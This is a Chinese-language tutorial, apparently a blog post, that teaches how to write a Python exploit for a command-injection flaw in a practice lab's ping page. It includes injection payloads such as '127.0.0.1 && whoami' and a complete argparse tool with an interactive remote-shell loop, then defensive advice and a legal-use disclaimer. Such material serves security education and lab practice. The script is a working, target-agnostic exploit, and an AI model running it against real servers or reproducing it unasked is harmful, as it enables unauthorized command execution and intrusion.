python分享 | 写出自己的第一个exp
字数 1137 2025-08-20 18:17:02
Python编写第一个EXP教程
一、环境准备
1.1 靶场环境
- 使用DVWA或类似靶场的RCE漏洞环境(如文中提到的pakachu靶场的rce_ping靶场)
- 靶场搭建教程可在网上搜索获取
1.2 开发工具
- PyCharm IDE(或其他Python开发环境)
- Python 3.x环境
- Burp Suite(用于抓包分析)
二、漏洞分析
2.1 漏洞位置
- 靶场中存在一个ping功能,用户可输入IP地址进行ping测试
- 查看源码文件
vul/rce/rec_ping.php发现漏洞点
2.2 漏洞原理
- 用户可控的POST参数
ipaddress被直接带入shell_exec()函数中 - 未做任何过滤或转义,导致命令注入漏洞
- 可通过
&&符号拼接执行任意系统命令
2.3 漏洞验证
- 输入
127.0.0.1 && calc可弹出计算器 - 输入
127.0.0.1 && echo "test"可输出字符串
三、EXP编写步骤
3.1 抓包分析
- 使用Burp Suite拦截正常ping请求
- 分析请求格式和参数
3.2 使用Copy As Python-Requests插件
- 在Burp Suite中右键选择插件"Copy As Python-Requests"
- 将生成的Python代码复制到PyCharm中
3.3 简化请求头
- 删除不必要的HTTP头,保留最简形式:
Content-TypeUser-Agent(可选)Cookie(如有认证需要)
3.4 构造EXP代码
import requests
target_url = "http://靶场地址/vul/rce/rce_ping.php"
payload = "127.0.0.1 && whoami" # 替换为要执行的命令
data = {
"ipaddress": payload,
"submit": "submit"
}
response = requests.post(target_url, data=data)
print(response.text)
3.5 功能扩展
- 添加命令交互功能:
while True:
cmd = input("$ ")
if cmd.lower() in ['exit', 'quit']:
break
payload = f"127.0.0.1 && {cmd}"
data["ipaddress"] = payload
response = requests.post(target_url, data=data)
print(response.text.split("<pre>")[1].split("</pre>")[0]) # 提取命令输出部分
- 添加错误处理:
try:
response = requests.post(target_url, data=data, timeout=5)
response.raise_for_status()
except requests.exceptions.RequestException as e:
print(f"请求失败: {e}")
四、EXP优化技巧
4.1 编码处理
- 对特殊字符进行URL编码:
from urllib.parse import quote
payload = "127.0.0.1 && " + quote("your_command")
4.2 结果提取
- 使用正则表达式或字符串分割提取命令输出结果
4.3 多线程/协程
- 对于批量检测可使用多线程提高效率
4.4 参数化配置
- 将目标URL、命令前缀等提取为可配置参数
五、防御建议
-
输入验证:
- 使用正则表达式严格限制输入格式(仅允许IP地址格式)
-
使用安全函数:
- 替换
shell_exec()为更安全的函数 - 使用
escapeshellarg()对参数进行转义
- 替换
-
最小权限原则:
- Web服务器以低权限用户运行
-
禁用危险函数:
- 在php.ini中禁用
shell_exec()等危险函数
- 在php.ini中禁用
六、完整EXP示例
#!/usr/bin/env python3
import requests
import urllib.parse
import argparse
def exploit(target_url, command):
"""
执行命令注入漏洞利用
:param target_url: 目标URL
:param command: 要执行的命令
:return: 命令执行结果
"""
# 编码特殊字符
payload = f"127.0.0.1 && {urllib.parse.quote(command)}"
data = {
"ipaddress": payload,
"submit": "submit"
}
try:
response = requests.post(
target_url,
data=data,
timeout=10,
headers={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
)
response.raise_for_status()
# 提取命令输出部分(根据实际页面结构调整)
if "<pre>" in response.text:
return response.text.split("<pre>")[1].split("</pre>")[0].strip()
return response.text
except requests.exceptions.RequestException as e:
return f"请求失败: {e}"
def interactive_shell(target_url):
"""
交互式命令执行shell
:param target_url: 目标URL
"""
print("[+] 进入交互式shell (输入exit或quit退出)")
while True:
try:
cmd = input("$ ")
if cmd.lower() in ['exit', 'quit']:
break
if not cmd.strip():
continue
result = exploit(target_url, cmd)
print(result)
except KeyboardInterrupt:
print("\n[!] 用户中断")
break
except Exception as e:
print(f"[!] 错误: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="RCE漏洞利用工具")
parser.add_argument("-u", "--url", required=True, help="目标URL")
parser.add_argument("-c", "--command", help="要执行的命令")
args = parser.parse_args()
if args.command:
print(exploit(args.url, args.command))
else:
interactive_shell(args.url)
七、总结
-
通过本教程可以学习到:
- 如何分析简单的RCE漏洞
- 使用Python编写基础EXP的方法
- 如何优化和扩展EXP功能
-
进一步学习方向:
- 学习更复杂的漏洞利用技术
- 研究各种Web安全漏洞的利用方式
- 掌握Python网络编程和安全工具开发
-
注意事项:
- 仅用于合法授权的安全测试
- 实际渗透测试中需获得书面授权
- 遵守当地法律法规